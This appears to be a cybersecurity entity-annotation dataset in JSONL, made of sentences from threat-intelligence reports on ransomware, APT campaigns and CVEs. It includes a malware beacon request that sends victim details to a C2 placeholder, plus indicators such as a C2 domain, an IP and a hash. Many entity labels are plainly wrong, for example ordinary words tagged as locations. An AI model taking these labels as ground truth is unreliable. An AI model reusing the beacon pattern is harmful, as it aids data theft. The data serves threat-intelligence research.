{"id":5102,"text":"As part of our efforts to combat serious threat actors, we use results of our research to improve the safety and security of our products.","entities":[],"relations":[],"Comments":[]}
{"id":1260,"text":" All of the Sysget files used in this campaign communicate with a single command and control (C2) server, hosted at biosnews[.]info.","entities":[{"id":44955,"label":"DOMAIN","start_offset":116,"end_offset":131},{"id":44956,"label":"Infrastucture","start_offset":73,"end_offset":105},{"id":44957,"label":"malware","start_offset":12,"end_offset":24}],"relations":[{"id":42,"from_id":44957,"to_id":44956,"type":"communicates-with"},{"id":201,"from_id":44956,"to_id":44955,"type":"hosts"}],"Comments":[]}
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{"id":13909,"text":"It uses two encryption methods, depending on whether the target operating system is Windows or Linux: A ChaCha20 stream cipher with RSA-4096 is used on Linux, and Salsa20 with RSA-1024 is used on Windows.","entities":[{"id":48732,"label":"SOFTWARE","start_offset":163,"end_offset":171},{"id":48729,"label":"SOFTWARE","start_offset":84,"end_offset":92},{"id":48730,"label":"SOFTWARE","start_offset":95,"end_offset":100},{"id":48731,"label":"SOFTWARE","start_offset":152,"end_offset":157},{"id":48733,"label":"SOFTWARE","start_offset":196,"end_offset":203}],"relations":[],"Comments":[]}
{"id":3585,"text":"Next, let\u2019s look for the attribute indicator, starting with the CyaX assembly used in the NotepadEx attack.","entities":[{"id":49368,"label":"campaign","start_offset":90,"end_offset":99},{"id":49367,"label":"tools","start_offset":64,"end_offset":68}],"relations":[{"id":789,"from_id":49368,"to_id":49367,"type":"uses"}],"Comments":[]}
{"id":3649,"text":"First, keeping your systems and devices fully up-to-date with the latest software and security updates.","entities":[],"relations":[],"Comments":[]}
{"id":4284,"text":"On the right, the legitimate document from CSBA.","entities":[{"id":50081,"label":"identity","start_offset":43,"end_offset":47}],"relations":[],"Comments":[]}
{"id":7613,"text":"As previously mentioned, TA505 abuses msiexec.exe to install its first stage payload, but we recently observed the group just directly downloading the first stage payload binary and executing it.","entities":[{"id":23714,"label":"identity","start_offset":121,"end_offset":125},{"id":23715,"label":"location","start_offset":178,"end_offset":181}],"relations":[],"Comments":[]}
{"id":4091,"text":"Self-deletion after execution     ","entities":[],"relations":[],"Comments":[]}
{"id":1609,"text":"Coste por SMS recibido 1.46 euros\/sms (IVA incluido) m\u00e1s el coste de navegaci\u00f3n WAP, que depender\u00e1 del operador que tenga contratado.","entities":[],"relations":[],"Comments":[]}
{"id":13454,"text":"In mid-April, TAG detected a Ghostwriter credential phishing campaign targeting Facebook users.","entities":[{"id":41896,"label":"attack-pattern","start_offset":52,"end_offset":60},{"id":41897,"label":"location","start_offset":61,"end_offset":69}],"relations":[],"Comments":[]}
{"id":3970,"text":"Check for static keys in the IIS web.config file.","entities":[{"id":49829,"label":"FILEPATH","start_offset":33,"end_offset":43}],"relations":[],"Comments":[]}
{"id":1520,"text":" If the received data has 0x22 as the first set of bytes then the received data will be in the following format:  <0x22><IP Address 1(4bytes)><IP Address 2 (4bytes)>  It will also do the following UDP connection test:  If the first value in the packet is 0xC8 then the file will set \"g_mainsrvinfo.srandipb\" and \"g_mainsrvinfo.srandipe\" and \"g_mainsrvinfo.udpport\" to the passed in values.","entities":[],"relations":[],"Comments":[]}
{"id":347,"text":"The PDF  exploits CVE-2013-2729 to download a binary which also installed CryptoWall 2.0.","entities":[{"id":46035,"label":"malware","start_offset":74,"end_offset":88},{"id":46036,"label":"vulnerability","start_offset":18,"end_offset":31}],"relations":[{"id":151,"from_id":46035,"to_id":46036,"type":"exploits"}],"Comments":[]}
{"id":9577,"text":"Again, the response is expected to be \"OK\".","entities":[],"relations":[],"Comments":[]}
{"id":2154,"text":" The JavaScript embedded within the HTML uses the ms-msdt schema to invoke the PCWDiagnostic pack, to reference the IT_BrowseForFile to execute the base64-encoded PowerShell Invoke-Expression command.  The base64-decoded text within the PowerShell Invoke-Expression is shown in Figure 2 below.","entities":[{"id":47294,"label":"tools","start_offset":163,"end_offset":173},{"id":47295,"label":"tools","start_offset":237,"end_offset":247}],"relations":[],"Comments":[]}
{"id":1289,"text":"It then spawns a new instance of 'C:\\\\windows\\\\system32\\\\cmd.exe' with a window name of 'Chrome-Update'.","entities":[{"id":46661,"label":"FILEPATH","start_offset":34,"end_offset":64}],"relations":[],"Comments":[]}
{"id":3205,"text":"       Figure 8.","entities":[],"relations":[],"Comments":[]}
{"id":14024,"text":"     Figure 2. Language ID of the Version Resource     ","entities":[],"relations":[],"Comments":[]}
{"id":13076,"text":"How a Ransomware Attack Could Affect Retailers","entities":[],"relations":[],"Comments":[]}
{"id":566,"text":"Virlock uses, but isn\u2019t limited to, PDF, DOC, PPT, JPG, BMP,GIF, RAR, 7Zip, Zip and EXE files.","entities":[{"id":46174,"label":"malware","start_offset":0,"end_offset":7}],"relations":[],"Comments":[]}
{"id":8013,"text":"On account-trading markets, hijacked channels ranged from $3 USD to $4,000 USD depending on the number of subscribers.","entities":[],"relations":[],"Comments":[]}
{"id":3149,"text":"Shining a light on an expanding attack surface Spurred by a drive for greater cost efficiency and business agility, global organizations are migrating to the cloud in droves.","entities":[],"relations":[],"Comments":[]}
{"id":12522,"text":" Recent sha256 hashes of malware samples:","entities":[],"relations":[],"Comments":[]}
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{"id":377,"text":" Updated June 7 to add additional in-the-wild observations.","entities":[{"id":46074,"label":"TIME","start_offset":9,"end_offset":15}],"relations":[],"Comments":[]}
{"id":12632,"text":"Directory name should not contain any of the following strings: .git appdata cache image lib log logs microsoft reference res resource script setup skin temp theme third_party thirdparty    If all of the above conditions are met, it will encrypt all the files in the given directory except those with the following extensions:  .avi .dll .gif .iso .m2ts .mkv .mov .mp3 .msi .ocx .tmp .wmv  ","entities":[{"id":39237,"label":"location","start_offset":77,"end_offset":82},{"id":39238,"label":"identity","start_offset":102,"end_offset":111},{"id":39239,"label":"location","start_offset":221,"end_offset":224},{"id":39240,"label":"location","start_offset":233,"end_offset":237},{"id":39241,"label":"location","start_offset":267,"end_offset":272}],"relations":[],"Comments":[]}
{"id":2526,"text":"When using double extortion, attackers will not only lock up a victim\u2019s files and demand ransom, but they will also steal files and threaten to publish them on a website or otherwise leak them if their initial ransom demand is not met.  But Conti\u2019s methods do have atypical elements.","entities":[{"id":47723,"label":"threat-actor","start_offset":241,"end_offset":247}],"relations":[],"Comments":[]}
{"id":10717,"text":"Their campaigns employ the Daserf backdoor (detected by Trend Micro as BKDR_DASERF, otherwise known as Muirim and Nioupale) that has four main capabilities: execute shell commands, download and upload data, take screenshots, and log keystrokes.","entities":[{"id":32733,"label":"location","start_offset":110,"end_offset":113},{"id":32734,"label":"malware","start_offset":114,"end_offset":122},{"id":32736,"label":"location","start_offset":165,"end_offset":170},{"id":32737,"label":"location","start_offset":190,"end_offset":193},{"id":32738,"label":"location","start_offset":225,"end_offset":228}],"relations":[],"Comments":[]}
{"id":3458,"text":"A notable characteristic of Blackgear is the degree to which its attacks are taken to evade detection, abusing blogging, microblogging, and social media services to hide its command-and-control (C&C) configuration.","entities":[{"id":49244,"label":"attack-pattern","start_offset":86,"end_offset":101},{"id":49247,"label":"attack-pattern","start_offset":165,"end_offset":213},{"id":49248,"label":"attack-pattern","start_offset":103,"end_offset":161},{"id":49243,"label":"threat-actor","start_offset":28,"end_offset":37}],"relations":[{"id":763,"from_id":49243,"to_id":49244,"type":"uses"},{"id":765,"from_id":49243,"to_id":49247,"type":"uses"},{"id":766,"from_id":49243,"to_id":49248,"type":"uses"}],"Comments":[]}
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{"id":12307,"text":"We received leads from the FBI that supported us in this investigation.","entities":[],"relations":[],"Comments":[]}
{"id":5707,"text":"Once these are accomplished, Earth Lusca is free to perform its post-exploitation routines that include installation of tools such as Cobalt Strike and Acunetix (we discuss the post-exploitation routines in detail in the technical brief).","entities":[{"id":17612,"label":"location","start_offset":11,"end_offset":14},{"id":17613,"label":"threat-actor","start_offset":29,"end_offset":40},{"id":17614,"label":"location","start_offset":64,"end_offset":68},{"id":17616,"label":"location","start_offset":148,"end_offset":151},{"id":17618,"label":"location","start_offset":177,"end_offset":181}],"relations":[],"Comments":[]}
{"id":11891,"text":"(NOTE: This exploit is not connected to the other three we\u2019ve discussed above.)","entities":[],"relations":[],"Comments":[]}
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{"id":11064,"text":"We terminated 3 YouTube channels as part of our ongoing investigation into coordinated influence operations linked to Iran.","entities":[],"relations":[],"Comments":[]}
{"id":3324,"text":"A predefined list of memory offset intended to grab information from different versions of WeChat      Figure 26.","entities":[{"id":48405,"label":"SOFTWARE","start_offset":91,"end_offset":97}],"relations":[],"Comments":[]}
{"id":11347,"text":"POST http:\/\/{C2}\/?Key={GUID}&Crc={Identifier} { \"appName\": \"Gmail Downloader\", \"targetname\": \"{Email}\", \"HostName\": \"REDACTED\", \"srcUserIP\": \"REDACTED\", \"actionType\": \"First\", \"timeOccurrence\": \"05\/01\/2022 05:50:31 PM\", \"OS\": \"REDACTED\", \"OSVersion\": \"REDACTED\", \"SystemModel\": \"REDACTED\", \"SystemType\": \"REDACTED\", \"srcName\": \"REDACTED\", \"srcOrgName\": \"REDACTED\" }","entities":[{"id":34638,"label":"location","start_offset":0,"end_offset":4},{"id":34639,"label":"URL","start_offset":5,"end_offset":44},{"id":34641,"label":"TIME","start_offset":206,"end_offset":217}],"relations":[],"Comments":[]}
{"id":10502,"text":"Our team of analysts and security experts is focused on identifying and stopping issues like phishing campaigns, zero-day vulnerabilities and hacking against Google, our products and our users.","entities":[{"id":31931,"label":"location","start_offset":21,"end_offset":24},{"id":31932,"label":"location","start_offset":25,"end_offset":33},{"id":31933,"label":"location","start_offset":68,"end_offset":71},{"id":31934,"label":"attack-pattern","start_offset":93,"end_offset":101},{"id":31936,"label":"location","start_offset":138,"end_offset":141},{"id":31938,"label":"location","start_offset":179,"end_offset":182}],"relations":[],"Comments":[]}
{"id":5644,"text":"In Figure 8, we show the patterns for different types of SMS contents.","entities":[],"relations":[],"Comments":[]}
{"id":2866,"text":"Late last month reports surfaced that a new Internet Explorer vulnerability (CVE-2014-1776) was being exploited in targeted attacks.","entities":[{"id":48064,"label":"SOFTWARE","start_offset":44,"end_offset":62},{"id":48065,"label":"vulnerability","start_offset":77,"end_offset":90}],"relations":[{"id":384,"from_id":48064,"to_id":48065,"type":"has"}],"Comments":[]}
{"id":4956,"text":"Thousands of these warnings are sent every month, even in cases where the corresponding attack is blocked.","entities":[],"relations":[],"Comments":[]}
{"id":14105,"text":"It is likely a late refactor to the code.","entities":[],"relations":[],"Comments":[]}
{"id":10484,"text":"We haven\u2019t retrieved a copy of the exploit.","entities":[],"relations":[],"Comments":[]}
{"id":2661,"text":" According to leak site data analysis, LockBit 2.0 was the most impactful RaaS for five consecutive months.","entities":[{"id":45651,"label":"threat-actor","start_offset":39,"end_offset":50}],"relations":[],"Comments":[]}
{"id":5521,"text":"They find ways to bypass its security controls and sneak inside the company networks to find what they\u2019re looking for: usually databases full of customer data.","entities":[],"relations":[],"Comments":[]}
{"id":10810,"text":"The receiver starts the malicious service.","entities":[],"relations":[],"Comments":[]}
{"id":4844,"text":"This is detailed in depth in today\u2019s Reuters investigation into the Indian hack-for-hire ecosystem.","entities":[{"id":50803,"label":"location","start_offset":68,"end_offset":74},{"id":50802,"label":"attack-pattern","start_offset":75,"end_offset":88}],"relations":[],"Comments":[]}
{"id":11097,"text":"We haven\u2019t seen any evidence of such attempts being successful.","entities":[],"relations":[],"Comments":[]}
{"id":11588,"text":"Although the applications were never available in Google Play, we have notified the Android users of infected devices and implemented changes in Google Play Protect to protect all users.  Android Implant This analysis is based on fe95855691cada4493641bc4f01eb00c670c002166d6591fe38073dd0ea1d001 that was uploaded to VirusTotal on May 27.","entities":[{"id":35532,"label":"location","start_offset":118,"end_offset":121},{"id":35534,"label":"SHA1","start_offset":230,"end_offset":294}],"relations":[],"Comments":[]}
{"id":11294,"text":"Once we have the download link, we can then use the Cortex\u2122 XSOAR built-in command \u201chttp\u201d to retrieve the file and save it to the War Room for this incident so that it can be downloaded and analyzed.          This is just one example use case that we have seen implemented to automate security operations by leveraging the integration between Trend Micro Vision One\u2122 and Palo Alto Networks Cortex\u2122 XSOAR.","entities":[{"id":34504,"label":"location","start_offset":35,"end_offset":38},{"id":34506,"label":"location","start_offset":111,"end_offset":114},{"id":34507,"label":"location","start_offset":115,"end_offset":119},{"id":34509,"label":"location","start_offset":168,"end_offset":171},{"id":34510,"label":"location","start_offset":186,"end_offset":189},{"id":34511,"label":"identity","start_offset":217,"end_offset":221},{"id":34513,"label":"location","start_offset":238,"end_offset":242},{"id":34514,"label":"location","start_offset":285,"end_offset":293},{"id":34515,"label":"location","start_offset":335,"end_offset":342},{"id":34517,"label":"location","start_offset":367,"end_offset":370}],"relations":[],"Comments":[]}
{"id":1529,"text":"This post is also available in:      \u65e5\u672c\u8a9e (Japanese)  In July 2020, Microsoft released a security update, CVE-2020-1350 | Windows DNS Server Remote Code Execution Vulnerability, for a new remote code execution (RCE) vulnerability.","entities":[{"id":46789,"label":"TIME","start_offset":56,"end_offset":65},{"id":46790,"label":"identity","start_offset":67,"end_offset":76},{"id":46791,"label":"vulnerability","start_offset":105,"end_offset":118},{"id":46792,"label":"vulnerability","start_offset":121,"end_offset":176},{"id":46793,"label":"attack-pattern","start_offset":187,"end_offset":214}],"relations":[{"id":221,"from_id":46791,"to_id":46792,"type":"related-to"},{"id":223,"from_id":46793,"to_id":46791,"type":"targets"},{"id":222,"from_id":46793,"to_id":46792,"type":"targets"}],"Comments":[]}
{"id":2406,"text":" Palo Alto Networks customers receive protections against CVE-2022-22965 and CVE-2022-22963 via products and services including Cortex XDR Prevent and Pro, a Threat Prevention subscription for the Next-Generation Firewall, and Prisma Cloud Compute.","entities":[{"id":45498,"label":"identity","start_offset":1,"end_offset":19},{"id":45499,"label":"vulnerability","start_offset":58,"end_offset":72},{"id":45501,"label":"SOFTWARE","start_offset":128,"end_offset":154},{"id":45502,"label":"SOFTWARE","start_offset":227,"end_offset":247},{"id":45500,"label":"vulnerability","start_offset":77,"end_offset":91}],"relations":[],"Comments":[]}
{"id":1499,"text":"Once installed (i.e. implanted on a system), the modern backdoor typically offers much more than simple (i.e. command line) access to a system.","entities":[],"relations":[],"Comments":[]}
{"id":3582,"text":"If we test it using a sample binary, the following is generated:  Figure 5. Testing a sample binary using ConfuserEx There are two important aspects to this attribute: first, it is hardcoded as a string constant and second, its value is presented in clear text in the final binary as the following image shows.","entities":[{"id":49364,"label":"tools","start_offset":106,"end_offset":116}],"relations":[],"Comments":[]}
{"id":7576,"text":"It then runs the \u201cnet group \/domain\u201d command and checks if \u201cworkgroup\u201d is contained in the output result.","entities":[{"id":23624,"label":"malware","start_offset":18,"end_offset":21},{"id":23625,"label":"location","start_offset":45,"end_offset":48}],"relations":[],"Comments":[]}
{"id":13114,"text":"Gartner predicts that spending on public cloud services including IaaS, SaaS and PaaS will reach nearly $500bn this year and grow by over 21% to hit $600bn by 2023.","entities":[{"id":48900,"label":"TIME","start_offset":159,"end_offset":163}],"relations":[],"Comments":[]}
{"id":5152,"text":"That's just ridiculous, right?","entities":[],"relations":[],"Comments":[]}
{"id":10249,"text":"In a Microsoft article about brute-forcing Office365 credentials over Tor, Microsoft attributed the activities to Strontium, which is another name for Pawn Storm.","entities":[{"id":31319,"label":"malware","start_offset":70,"end_offset":73}],"relations":[],"Comments":[]}
{"id":4346,"text":"During our monitoring of Confucius, we came across a campaign delivering the same payload, using a different lure.","entities":[],"relations":[],"Comments":[]}
{"id":14169,"text":"      Tags  Cloud | Malware | APT & Targeted Attacks | Cyber Crime | Expert Perspective","entities":[],"relations":[],"Comments":[]}
{"id":13108,"text":" Securing IIoT systems is hard: it requires capabilities across the cloud, the network, and the devices themselves.","entities":[],"relations":[],"Comments":[]}
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{"id":12687,"text":"The following image shows a webpage mimicking a software crack download which delivers a variant of Glupteba to users instead of the promised software.","entities":[{"id":39372,"label":"malware","start_offset":100,"end_offset":108}],"relations":[],"Comments":[]}
{"id":4257,"text":"Finally, our third algorithm uses a 94-character substitution table.","entities":[],"relations":[],"Comments":[]}
{"id":3240,"text":"These are the markers of infection as previously mentioned.","entities":[],"relations":[],"Comments":[]}
{"id":5897,"text":"Because again, that's where we're going to get our information if a conflict does come up.","entities":[],"relations":[],"Comments":[]}
{"id":12779,"text":"Figure 1: How PLEAD utilizes compromised routers PLEAD actors use a router scanner tool to scan for vulnerable routers, after which the attackers will enable the router\u2019s VPN feature then register a machine as virtual server.","entities":[{"id":39775,"label":"tools","start_offset":14,"end_offset":19},{"id":39776,"label":"malware","start_offset":49,"end_offset":54},{"id":39777,"label":"location","start_offset":83,"end_offset":87},{"id":39778,"label":"location","start_offset":146,"end_offset":150},{"id":39779,"label":"location","start_offset":188,"end_offset":196}],"relations":[],"Comments":[]}
{"id":5075,"text":"The exploit was patched on February 14, 2022.","entities":[{"id":51185,"label":"TIME","start_offset":27,"end_offset":44}],"relations":[],"Comments":[]}
{"id":14004,"text":"Another important consideration for attribution is that we have some historical background for Operation Earth Kitsune.","entities":[{"id":47175,"label":"campaign","start_offset":95,"end_offset":118}],"relations":[],"Comments":[]}
{"id":576,"text":"In this research, we discussed ransomware family trends we observed in the first three months of 2021.","entities":[{"id":44785,"label":"TIME","start_offset":97,"end_offset":101}],"relations":[],"Comments":[]}
{"id":154,"text":" It\u2019s this last point that gets to the heart of why ransomware is so potent.","entities":[],"relations":[],"Comments":[]}
{"id":12562,"text":"day or 0-day?","entities":[],"relations":[],"Comments":[]}
{"id":13947,"text":"Phase 1 + Phase 2 + threatening DDoS.","entities":[],"relations":[],"Comments":[]}
{"id":585,"text":" If you think you may have been impacted by ransomware, please email unit42-investigations@paloaltonetworks.com or call (866) 4-UNIT42 to get in touch with the Unit 42 Incident Response team.","entities":[{"id":1952,"label":"EMAIL","start_offset":69,"end_offset":111},{"id":1954,"label":"identity","start_offset":160,"end_offset":167},{"id":44787,"label":"identity","start_offset":128,"end_offset":134},{"id":44788,"label":"identity","start_offset":160,"end_offset":190}],"relations":[],"Comments":[]}
{"id":14290,"text":"It will display the page below.","entities":[],"relations":[],"Comments":[]}
{"id":4900,"text":"During the pandemic, we also uncovered attackers posing as news providers with a \u201cCovid19 news software.\u201d","entities":[],"relations":[],"Comments":[]}
{"id":5232,"text":"It\u2019s also possible that while AnubisSpy\u2019s operators may also be Sphinx\u2019s, they could be running separate but similar campaigns.","entities":[{"id":51266,"label":"campaign","start_offset":64,"end_offset":70},{"id":16081,"label":"malware","start_offset":30,"end_offset":39}],"relations":[],"Comments":[]}
{"id":892,"text":" After installation is complete, the malware makes another HTTP POST containing the various file paths it used.","entities":[],"relations":[],"Comments":[]}
{"id":12975,"text":"We remain committed to updating the community as we uncover these campaigns.","entities":[{"id":40399,"label":"location","start_offset":36,"end_offset":45},{"id":40400,"label":"tools","start_offset":52,"end_offset":59}],"relations":[],"Comments":[]}
{"id":4106,"text":"In each SmileSvr, there is an embedded number (e.g., 10601 in Figure 10.) and this value will be used as sequence number in the sent ICMP packet.","entities":[],"relations":[],"Comments":[]}
{"id":4300,"text":"In this case, an organization can look into third party security providers who can handle specialized work, such as root cause analysis and detailed research, and also provide a remediation plan that gives organizations a better chance against advanced threats.","entities":[],"relations":[],"Comments":[]}
{"id":2822,"text":"However, this has not been confirmed and is unlikely to account for the global spread of the malware.","entities":[],"relations":[],"Comments":[]}
{"id":132,"text":"However, users likely experience a noticeable slowdown in system performance.","entities":[],"relations":[],"Comments":[]}
{"id":145,"text":"But the full ramifications and why these make ransomware hard to stop aren\u2019t always discussed.","entities":[],"relations":[],"Comments":[]}
{"id":2344,"text":"The result of the id command would tell us whether our script was run as a regular user or as root.","entities":[],"relations":[],"Comments":[]}
{"id":4821,"text":"One recent campaign from a group tracked by CERT-UA as UAC-0098 delivered malicious documents with the Follina exploit in password-protected archives, impersonating the State Tax Service of Ukraine.","entities":[{"id":50760,"label":"identity","start_offset":44,"end_offset":51},{"id":50761,"label":"threat-actor","start_offset":55,"end_offset":63},{"id":50762,"label":"vulnerability","start_offset":103,"end_offset":118},{"id":50763,"label":"identity","start_offset":169,"end_offset":197}],"relations":[{"id":1008,"from_id":50761,"to_id":50763,"type":"impersonates"},{"id":1009,"from_id":50761,"to_id":50762,"type":"uses"}],"Comments":[]}
{"id":5034,"text":"Both pages from this campaign are shown below.","entities":[],"relations":[],"Comments":[]}
{"id":3112,"text":"Fortunately, most cloud providers have already deployed security updates and those that haven\u2019t are expected to do so shortly.","entities":[],"relations":[],"Comments":[]}
{"id":2030,"text":" While there is a lot of overlap between HelloXD and Babuk, there are some small but crucial differences to take note of between Babuk and the two different variants.  HelloXD version 1 is the least modified, utilizing Curve25519-Donna and a modified HC-128 algorithm to encrypt file data, while also containing the same CRC hashing routine incorporating the string dong, possibly referencing Chuong Dong, who had previously analyzed and reported on the first version of Babuk (Figure 8).","entities":[{"id":47125,"label":"malware","start_offset":53,"end_offset":58},{"id":47127,"label":"malware","start_offset":168,"end_offset":175},{"id":47128,"label":"malware","start_offset":471,"end_offset":476},{"id":47129,"label":"identity","start_offset":393,"end_offset":404},{"id":47124,"label":"malware","start_offset":41,"end_offset":48},{"id":47126,"label":"malware","start_offset":129,"end_offset":134}],"relations":[{"id":305,"from_id":47124,"to_id":47125,"type":"variant-of"}],"Comments":[]}
{"id":6460,"text":"As noted above, the ScreenConnect executable connects to the Internet-ID server, which is located at instance-sy9at2-relay.screenconnect.com and resolves to 51.68.244.39.","entities":[{"id":20099,"label":"location","start_offset":141,"end_offset":144},{"id":20100,"label":"IPV4","start_offset":157,"end_offset":169}],"relations":[],"Comments":[]}
{"id":1227,"text":"For example, JoloPay, WiPay, TPADPay and EgamePay follow this design exactly.","entities":[{"id":44941,"label":"SOFTWARE","start_offset":13,"end_offset":20},{"id":44942,"label":"SOFTWARE","start_offset":22,"end_offset":27},{"id":44943,"label":"SOFTWARE","start_offset":30,"end_offset":36},{"id":44945,"label":"SOFTWARE","start_offset":41,"end_offset":49}],"relations":[],"Comments":[]}
{"id":5507,"text":"The list of indicators of compromise, which includes Trend Micro\u2019s corresponding detections and solutions, is in this appendix.","entities":[{"id":51520,"label":"identity","start_offset":53,"end_offset":64}],"relations":[],"Comments":[]}
{"id":13515,"text":"The following security best practices can help both individuals and organizations thwart cybermercenary attacks (and cyberattacks in general):  Employ the services of a reputable provider that places high priority on security.","entities":[],"relations":[],"Comments":[]}
{"id":8266,"text":"At least one message was sent to a diplomat based in the island of Saint Martin after Hurricane Irma hit.","entities":[{"id":25517,"label":"location","start_offset":35,"end_offset":43},{"id":25518,"label":"location","start_offset":57,"end_offset":63},{"id":25521,"label":"identity","start_offset":101,"end_offset":104}],"relations":[],"Comments":[]}
{"id":4456,"text":"And we don\u2019t just plug security holes \u2013 we work to eliminate entire classes of threats for consumers and businesses whose work depends on the Internet.","entities":[],"relations":[],"Comments":[]}
{"id":1720,"text":" It\u2019s not possible to list all of the domains generated by the DGA, which is the main advantage of this mechanism.  To protect your network from the I2P communication used by both Dyre and CryptoWall 3.0, the easiest route is simply to identify I2P traffic and block it completely.","entities":[{"id":5120,"label":"malware","start_offset":189,"end_offset":199},{"id":46894,"label":"malware","start_offset":180,"end_offset":184},{"id":46895,"label":"SOFTWARE","start_offset":149,"end_offset":152},{"id":46896,"label":"SOFTWARE","start_offset":245,"end_offset":248}],"relations":[],"Comments":[]}
{"id":1779,"text":"Using this method, we are able to provide length checking for Flash vector objects.","entities":[{"id":45127,"label":"SOFTWARE","start_offset":62,"end_offset":67}],"relations":[],"Comments":[]}
{"id":1487,"text":" This means all of the apps created by these developers, regardless of intended use, could be used maliciously.","entities":[],"relations":[],"Comments":[]}
{"id":1728,"text":"What is it?","entities":[],"relations":[],"Comments":[]}
{"id":2774,"text":" So, it\u2019s not surprising to see that cybercrime is turning its attention to cryptocurrencies.","entities":[],"relations":[],"Comments":[]}
{"id":13645,"text":"Tracking Water Nue\u2019s activities","entities":[],"relations":[],"Comments":[]}
{"id":3404,"text":"BIOPASS RAT Loader  Backdoor.","entities":[{"id":10271,"label":"malware","start_offset":0,"end_offset":11}],"relations":[],"Comments":[]}
{"id":3981,"text":"It is an ecosystem of retailers, distributors, and suppliers participating in the sale, delivery, and production of hardware, software, and managed services.","entities":[],"relations":[],"Comments":[]}
{"id":11120,"text":"As the course of the COVID-19 pandemic evolves, we\u2019ve seen threat actors evolve their tactics as well.","entities":[],"relations":[],"Comments":[]}
{"id":4904,"text":" Once the target runs the fake software, a cookie stealing malware executes, taking browser cookies from the victim\u2019s machine and uploading them to the actor's command & control servers.","entities":[],"relations":[],"Comments":[]}
{"id":5833,"text":"Oh, absolutely.","entities":[],"relations":[],"Comments":[]}
{"id":3924,"text":"inserted by malicious actors to avoid detection      ","entities":[],"relations":[],"Comments":[]}
{"id":1746,"text":"About: Threat Briefs are meant to help busy people understand real-world threats and how they can prevent them in their lives.","entities":[],"relations":[],"Comments":[]}
{"id":7370,"text":"Running the initall wrapper script","entities":[],"relations":[],"Comments":[]}
{"id":12453,"text":"We terminated 2 YouTube channels as part of our ongoing investigation into a coordinated influence operation linked to Iran.","entities":[],"relations":[],"Comments":[]}
{"id":5453,"text":" It\u2019s time to take precautions and start good mobile banking security habits.","entities":[],"relations":[],"Comments":[]}
{"id":10288,"text":"Later the actor started to use IMAP RATs as well.","entities":[],"relations":[],"Comments":[]}
{"id":5971,"text":"The data is then exfiltrated via email to a compromised email account.","entities":[],"relations":[],"Comments":[]}
{"id":1535,"text":"Please review KB4569509: Guidance for DNS Server Vulnerability CVE-2020-1350 for more details.","entities":[{"id":46798,"label":"vulnerability","start_offset":38,"end_offset":76}],"relations":[],"Comments":[]}
{"id":2396,"text":"For more details about Earth Baku\u2019s new campaign, read our research paper \"Earth Baku: An APT Group Targeting Indo-Pacific Countries With New Stealth Loaders and Backdoor.\"        Tags  Articles, News, Reports | APT & Targeted Attacks | Research","entities":[{"id":47464,"label":"threat-actor","start_offset":23,"end_offset":34},{"id":47465,"label":"threat-actor","start_offset":75,"end_offset":85},{"id":47466,"label":"location","start_offset":110,"end_offset":122}],"relations":[],"Comments":[]}
{"id":11040,"text":"This bulletin includes coordinated influence operation campaigns terminated on our platforms in Q4 2020.","entities":[],"relations":[],"Comments":[]}
{"id":1118,"text":"Tens of thousands of the mutexes have been seen in only a single sample each.","entities":[],"relations":[],"Comments":[]}
{"id":7876,"text":"Of the 12,351 applications on the Google Play store with > 500,000 installations, only 556 explicitly disable this backup system.","entities":[],"relations":[],"Comments":[]}
{"id":2574,"text":" Ignite \u201917 Security Conference: Vancouver, BC June 12\u201315, 2017  Ignite \u201917 Security Conference is a live, four-day conference designed for today\u2019s security professionals.","entities":[{"id":45599,"label":"TIME","start_offset":47,"end_offset":63},{"id":45600,"label":"location","start_offset":33,"end_offset":46}],"relations":[],"Comments":[]}
{"id":11863,"text":"The information collected from the fingerprinting phase included screen resolution, timezone, languages, browser plugins, and available MIME types.","entities":[{"id":36580,"label":"attack-pattern","start_offset":35,"end_offset":49},{"id":36581,"label":"location","start_offset":122,"end_offset":125}],"relations":[],"Comments":[]}
{"id":7059,"text":"Others have been in existence for many years, such as TPacket, SCM Client, SystemInfo, CMD5, CIOStream, and CInfo.","entities":[{"id":22118,"label":"malware","start_offset":75,"end_offset":85},{"id":22119,"label":"location","start_offset":104,"end_offset":107}],"relations":[],"Comments":[]}
{"id":4332,"text":"it is never written in clear text to the file disk.","entities":[],"relations":[],"Comments":[]}
{"id":10305,"text":"IMAP RAT  Trojan.MSIL.OCEANMAP.A  Troj","entities":[],"relations":[],"Comments":[]}
{"id":11301,"text":"Cortex XSOAR is a trademark of Palo Alto Networks.","entities":[],"relations":[],"Comments":[]}
{"id":7868,"text":"Finally, when an ADB backup is initiated, a window pops up on the device screen to ask the user to press \u201cBack up my data.\u201d","entities":[],"relations":[],"Comments":[]}
{"id":4219,"text":" Figure 3. Screenshot of the second fake website","entities":[],"relations":[],"Comments":[]}
{"id":3031,"text":"And ensure that any cloud-connected accounts have good passwords and use a second authentication method, if possible.","entities":[],"relations":[],"Comments":[]}
{"id":5151,"text":"I'm going to...\"","entities":[],"relations":[],"Comments":[]}
{"id":11501,"text":"They continue to use the 'Browser in the Browser' phishing technique that TAG first observed and described in March.","entities":[{"id":35179,"label":"attack-pattern","start_offset":50,"end_offset":58},{"id":35181,"label":"location","start_offset":93,"end_offset":96}],"relations":[],"Comments":[]}
{"id":7014,"text":"This blog details how Iron Tiger threat actors have updated their toolkit with an updated SysUpdate malware variant that now uses five files in its infection routine instead of the usual three.","entities":[],"relations":[],"Comments":[]}
{"id":228,"text":"Upon visiting the webpage, the \u201cUsername\u201d field is pre-","entities":[],"relations":[],"Comments":[]}
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{"id":2998,"text":" 7. Don\u2019t Forget About Home Entertainment Apps, TVs and DVRs:","entities":[],"relations":[],"Comments":[]}
{"id":3512,"text":"ScreenManage - Takes a screenshot.","entities":[],"relations":[],"Comments":[]}
{"id":741,"text":"Use-after-free bugs have affected Internet Explorer for years.","entities":[{"id":46333,"label":"SOFTWARE","start_offset":34,"end_offset":51}],"relations":[],"Comments":[]}
{"id":1787,"text":"While previous AvosLocker infections employ similar routines, this is the first sample we observed from the US with the capability to disable a defense solution using a legitimate Avast Anti-Rootkit Driver file (asWarPot.sys).  ","entities":[{"id":5285,"label":"malware","start_offset":15,"end_offset":25},{"id":46915,"label":"FILEPATH","start_offset":212,"end_offset":224},{"id":46916,"label":"SOFTWARE","start_offset":180,"end_offset":205},{"id":46917,"label":"location","start_offset":108,"end_offset":110}],"relations":[{"id":257,"from_id":5285,"to_id":46916,"type":"targets"},{"id":258,"from_id":5285,"to_id":46917,"type":"targets"}],"Comments":[]}
{"id":4194,"text":"Obfuscated Files or Information: Software Packing T1218.011","entities":[{"id":49998,"label":"attack-pattern","start_offset":0,"end_offset":59}],"relations":[],"Comments":[]}
